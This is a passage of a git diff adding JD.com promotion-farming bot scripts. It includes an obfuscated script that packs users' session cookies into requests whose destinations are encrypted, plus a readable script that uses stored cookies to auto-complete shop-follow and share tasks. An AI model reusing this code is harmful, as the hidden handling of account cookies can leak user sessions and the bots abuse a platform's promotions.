_0x2f5fd3[_0x5a60('2c8','Y^r#')](_0x259c58,_0x50355c);}};$[_0x5a60('2c9','#Nc6')]({'url':_0x5a60('2ca','Sfa)'),'body':_0x5a60('2cb','X2Mx')+_0x2f5fd3[_0x5a60('2cc','w1ew')](encodeURIComponent,$[_0x5a60('2cd','4$OM')][_0x5a60('2ce','e157')])+_0x5a60('2cf','c1V$')+_0x2f5fd3[_0x5a60('2d0','G6hQ')](encodeURIComponent,$[_0x5a60('2d1','BQFL')][_0x5a60('2d2','kD)G')])+_0x5a60('2d3','BQFL')+($[_0x5a60('103','5phg')]?$[_0x5a60('2d4','G6hQ')]:_0x2f5fd3[_0x5a60('2d5','kD)G')]),'headers':{'User-Agent':_0x5a60('2d6','Ah&A'),'Host':_0x2f5fd3[_0x5a60('2d7','4$OM')],'Content-Type':_0x2f5fd3[_0x5a60('2d8',')t^^')],'Referer':_0x2f5fd3[_0x5a60('2d9','Y^r#')],'Cookie':_0x5a60('2da','(o3G')+$[_0x5a60('2db','t@Ez')]+_0x5a60('2dc','K&]P')+$[_0x5a60('2dd','AX!A')]+_0x5a60('2de','H2m0')+$[_0x5a60('149','B%EL')][_0x5a60('2df','gtM%')]+';\x20'+$[_0x5a60('2e0','Sr&T')]}},async(_0x3ba881,_0x15530c,_0x37d113)=>{var _0x2a6407={'fCGIn':function(_0x4e09e0,_0x1d208a){return _0x1b59ed[_0x5a60('2e1','K&]P')](_0x4e09e0,_0x1d208a);},'InvPP':function(_0x77bddb,_0x1f22fa){return _0x1b59ed[_0x5a60('2e2','71SK')](_0x77bddb,_0x1f22fa);},'hJFqj':_0x1b59ed[_0x5a60('2e3','c1V$')],'bxKkV':_0x1b59ed[_0x5a60('2e4','yb5M')],'QnzBG':_0x1b59ed[_0x5a60('2e5','uq%7')],'AFyvH':_0x1b59ed[_0x5a60('2e6','4$OM')],'tqnEx':_0x1b59ed[_0x5a60('2e7','X2Mx')],'LavpH':_0x1b59ed[_0x5a60('2e8','aU(%')],'QBkJK':_0x1b59ed[_0x5a60('2e9','6b9s')],'jbuCF':_0x1b59ed[_0x5a60('2ea','$dtR')],'xloBG':_0x1b59ed[_0x5a60('2eb','Ah&A')],'GXCOY':_0x1b59ed[_0x5a60('2ec','c1V$')]};if(_0x1b59ed[_0x5a60('2ed','K&]P')](_0x1b59ed[_0x5a60('2ee','Y^r#')],_0x1b59ed[_0x5a60('2ef','Sfa)')])){$[_0x5a60('2f0','VCRo')](_0x2a6407[_0x5a60('2f1','4$OM')](_0x2a6407[_0x5a60('2f2','gtM%')](_0x2a6407[_0x5a60('2f3','$dtR')],_0x37d113[_0x5a60('2f4','e157')][_0x5a60('2f5','wt%o')]),'\x20个'));}else{try{if(_0x3ba881){if(_0x1b59ed[_0x5a60('2f6','iZ7k')](_0x1b59ed[_0x5a60('2f7','[YW)')],_0x1b59ed[_0x5a60('2f8','c1V$')])){console[_0x5a60('2f9','aU(%')](''+JSON[_0x5a60('2fa','B%EL')](_0x3ba881));console[_0x5a60('87','3peq')]($[_0x5a60('2fb','*^t1')]+_0x5a60('2fc','5phg'));}else{$[_0x5a60('2fd','m#6r')](e,_0x15530c);}}else{if(_0x37d113){if(_0x1b59ed[_0x5a60('2fe',')qW%')](_0x1b59ed[_0x5a60('2ff','e157')],_0x1b59ed[_0x5a60('300','Ah&A')])){_0x37d113=JSON[_0x5a60('212','5ot1')](_0x37d113);}else{$[_0x5a60('301','t@Ez')](e,_0x15530c);}}}}catch(_0x2afbdc){if(_0x1b59ed[_0x5a60('302','B%EL')](_0x1b59ed[_0x5a60('303','4$OM')],_0x1b59ed[_0x5a60('304','Sfa)')])){return{'url':_0x5a60('305','B%EL')+url,'body':body,'headers':{'Host':_0x2a6407[_0x5a60('306','uq%7')],'Accept':_0x2a6407[_0x5a60('307','qaWF')],'X-Requested-With':_0x2a6407[_0x5a60('308','K&]P')],'Accept-Language':_0x2a6407[_0x5a60('309','(o3G')],'Accept-Encoding':_0x2a6407[_0x5a60('30a','e157')],'Content-Type':_0x2a6407[_0x5a60('30b','#JkU')],'Origin':_0x2a6407[_0x5a60('30c','Sr&T')],'Connection':_0x2a6407[_0x5a60('30d','aU(%')],'Referer':referer?referer:_0x5a60('30e','e157')+($[_0x5a60('30f',')*PN')]?$[_0x5a60('310','wt%o')]:_0x2a6407[_0x5a60('311','dbYj')])+_0x5a60('312','8nw!'),'User-Agent':UA,'Cookie':cookie+_0x5a60('313','CEjU')+$[_0x5a60('314','uq%7')]+_0x5a60('315','dbYj')+$[_0x5a60('316','H2m0')]+_0x5a60('317','#JkU')+$[_0x5a60('318','71SK')][_0x5a60('319','3peq')]+';\x20'+$[_0x5a60('31a','[YW)')]}};}else{$[_0x5a60('2fd','m#6r')](_0x2afbdc,_0x15530c);}}finally{_0x1b59ed[_0x5a60('31b','CEjU')](_0x12694a,_0x37d113);}}});});}function checkOpenCard(){var _0x34b52c={'SHUbZ':function(_0x2e079d,_0x2d9c71){return _0x2e079d(_0x2d9c71);},'nUJUz':function(_0x48f5d7,_0x476fb5){return _0x48f5d7===_0x476fb5;},'gaoKr':_0x5a60('31c',')*PN'),'QyObO':function(_0x3bf2cd,_0x5e5864){return _0x3bf2cd===_0x5e5864;},'eCHnH':_0x5a60('31d','#JkU'),'vswvj':function(_0x11a4f2,_0x1f8e35){return _0x11a4f2===_0x1f8e35;},'ZEDJO':_0x5a60('31e','c1V$'),'xJrMT':_0x5a60('31f','gtM%'),'qJcHP':function(_0x1aacdd,_0x202981){return _0x1aacdd+_0x202981;},'rVmdY':function(_0x3d72a4,_0x14b8ae){return _0x3d72a4+_0x14b8ae;},'itMgk':_0x5a60('320','#Nc6'),'ZerYB':function(_0x1eeb55,_0x2885c3){return _0x1eeb55(_0x2885c3);},'MExrs':function(_0x10d8fa,_0x116d08,_0x2e3f75,_0x243f41){return _0x10d8fa(_0x116d08,_0x2e3f75,_0x243f41);},'ZWhcb':_0x5a60('321','Y^r#'),'ipFrK':_0x5a60('322','@GjN')};return new Promise(_0x5f5266=>{let _0x5561ef=_0x5a60('323',')*PN')+$[_0x5a60('324','c1V$')]+_0x5a60('325','*^t1')+$[_0x5a60('326','m#6r')]+_0x5a60('327',')qW%')+_0x34b52c[_0x5a60('328','wt%o')](encodeURIComponent,$[_0x5a60('329','#Nc6')][_0x5a60('32a','Sfa)')]);$[_0x5a60('32b','#JkU')](_0x34b52c[_0x5a60('32c',')pbK')](taskPostUrl,_0x34b52c[_0x5a60('32d','Sr&T')],_0x5561ef,_0x34b52c[_0x5a60('32e','m#6r')]),async(_0x59820d,_0x414346,_0x54d7f4)=>{var _0xb32825={'qEjyZ':function(_0x50d41f,_0x727b1e){return _0x34b52c[_0x5a60('32f','W]5P')](_0x50d41f,_0x727b1e);}};try{if(_0x34b52c[_0x5a60('330','8z%N')](_0x34b52c[_0x5a60('331','yb5M')],_0x34b52c[_0x5a60('332','K&]P')])){if(_0x59820d){if(_0x34b52c[_0x5a60('333','AX!A')](_0x34b52c[_0x5a60('334','aU(%')],_0x34b52c[_0x5a60('335','8z%N')])){console[_0x5a60('336','K&]P')]($[_0x5a60('2fb','*^t1')]+_0x5a60('337','iZ7k'));}else{$[_0x5a60('119','e157')](_0x54d7f4[_0x5a60('338','B%EL')]);}}else{if(_0x34b52c[_0x5a60('339','8nw!')](_0x34b52c[_0x5a60('33a','uq%7')],_0x34b52c[_0x5a60('33b','B%EL')])){_0xb32825[_0x5a60('33c','B%EL')](_0x5f5266,_0x54d7f4[_0x5a60('33d','#Nc6')]);}else{_0x54d7f4=JSON[_0x5a60('1dd','Ah&A')](_0x54d7f4);if(_0x54d7f4&&_0x54d7f4[_0x5a60('2f4','e157')]){$[_0x5a60('33e','dbYj')](_0x34b52c[_0x5a60('33f',')pbK')](_0x34b52c[_0x5a60('340','*^t1')](_0x34b52c[_0x5a60('341','5phg')],_0x54d7f4[_0x5a60('342','W]5P')][_0x5a60('343','Sr&T')]),'\x20个'));}}}}else{$[_0x5a60('344','K&]P')](e,_0x414346);}}catch(_0xa5c792){_0x54d7f4={'data':{'nowScore':0x32}};$[_0x5a60('118','Ah&A')](_0xa5c792,_0x414346);}finally{_0x34b52c[_0x5a60('345','OMx0')](_0x5f5266,_0x54d7f4);}});});}function taskPostUrl(_0x2cc369,_0x5f0a0b,_0x3280cc){var _0x3120fa={'knUQW':_0x5a60('346','VCRo'),'tPnoL':_0x5a60('347','71SK'),'CJeTv':_0x5a60('348','wt%o'),'gDSmK':_0x5a60('349','B%EL'),'hQDRq':_0x5a60('34a','[YW)'),'pQfZl':_0x5a60('34b','[YW)'),'MvVCO':_0x5a60('34c','8z%N'),'cygqW':_0x5a60('34d','Sr&T'),'eBXDd':_0x5a60('34e','Ah&A')};return{'url':_0x5a60('34f',')*PN')+_0x2cc369,'body':_0x5f0a0b,'headers':{'Host':_0x3120fa[_0x5a60('350','yb5M')],'Accept':_0x3120fa[_0x5a60('351','c1V$')],'X-Requested-With':_0x3120fa[_0x5a60('352','BQFL')],'Accept-Language':_0x3120fa[_0x5a60('353','Sfa)')],'Accept-Encoding':_0x3120fa[_0x5a60('354','6b9s')],'Content-Type':_0x3120fa[_0x5a60('355','W]5P')],'Origin':_0x3120fa[_0x5a60('356','(o3G')],'Connection':_0x3120fa[_0x5a60('357','CEjU')],'Referer':_0x3280cc?_0x3280cc:_0x5a60('358','K&]P')+($[_0x5a60('359','iKwG')]?$[_0x5a60('35a','8nw!')]:_0x3120fa[_0x5a60('35b',')*PN')])+_0x5a60('35c','wt%o'),'User-Agent':UA,'Cookie':cookie+_0x5a60('35d','8nw!')+$[_0x5a60('35e','#g@V')]+_0x5a60('35f','#Nc6')+$[_0x5a60('50','#g@V')]+_0x5a60('360','*^t1')+$[_0x5a60('361','Ah&A')][_0x5a60('362','yb5M')]+';\x20'+$[_0x5a60('363','@GjN')]}};};_0xodk='jsjiami.com.v6'; + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/jd_ppdz.js b/backUp/jd_ppdz.js new file mode 100644 index 0000000..c2866f4 --- /dev/null +++ b/backUp/jd_ppdz.js @@ -0,0 +1,692 @@ +/* + + + [task_local] + #柠檬东东泡泡大战 + 1 0 * * * https://raw.githubusercontent.com/panghu999/panghu/master/jd_ppdz.js, tag=柠檬东东泡泡大战, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + +const $ = new Env('柠檬东东泡泡大战'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +const logs =0; +let allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = '' + + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await star() + await rank() + } + } + +if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}` ) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function star(){ +for(let i = 0; i < 5; i ++){ +no1 = i; + +await fx5() +await shop() +await shop1() +await shop2() +await shop3() +} +} + + +function fx5(timeout = 0) { +message = `【京东账号${$.index}】${$.nickName}\n`; + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?body=&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_shareTask`, + headers: { + "Host": "api.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) + data = JSON.parse(data); + console.log(data) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (data.code === 0) { + // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) + } else { + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + +function shop(timeout = 0) { + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?body={"shopId":"1000000127"}&clientVersion=8.8.8&uuid=86763302131156838bc92874435&client=H5&appid=zuma-web&functionId=activity_followShop`, + headers: { + "Host": "api.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) + data = JSON.parse(data); + // url = data.taskInfo.allValues.value + console.log(url) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (data.code === 0) { + // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) + } else { + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function shop1(timeout = 0) { + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?body={"hallId":"https://pro.m.jd.com/mall/active/Y9FVe619hMoajzqpxky1CQQJAkk/index.html?babelChannel=ttt10"}&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_stroll`, + headers: { + "Host": "api.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) + data = JSON.parse(data); + // url = data.taskInfo.allValues.value + console.log(url) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (data.code === 0) { + // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) + } else { + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + +function shop2(timeout = 0) { + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?body={"goodId":"100009255069"}&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_followGood`, + headers: { + "Host": "api.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) + data = JSON.parse(data); + // url = data.taskInfo.allValues.value + console.log(url) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (data.code === 0) { + // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) + } else { + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function shop3(timeout = 0) { + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?body={"goodId":"100010338198"}&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_followGood`, + headers: { + "Host": "api.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) + data = JSON.parse(data); + // url = data.taskInfo.allValues.value + console.log(url) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (data.code === 0) { + // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) + } else { + 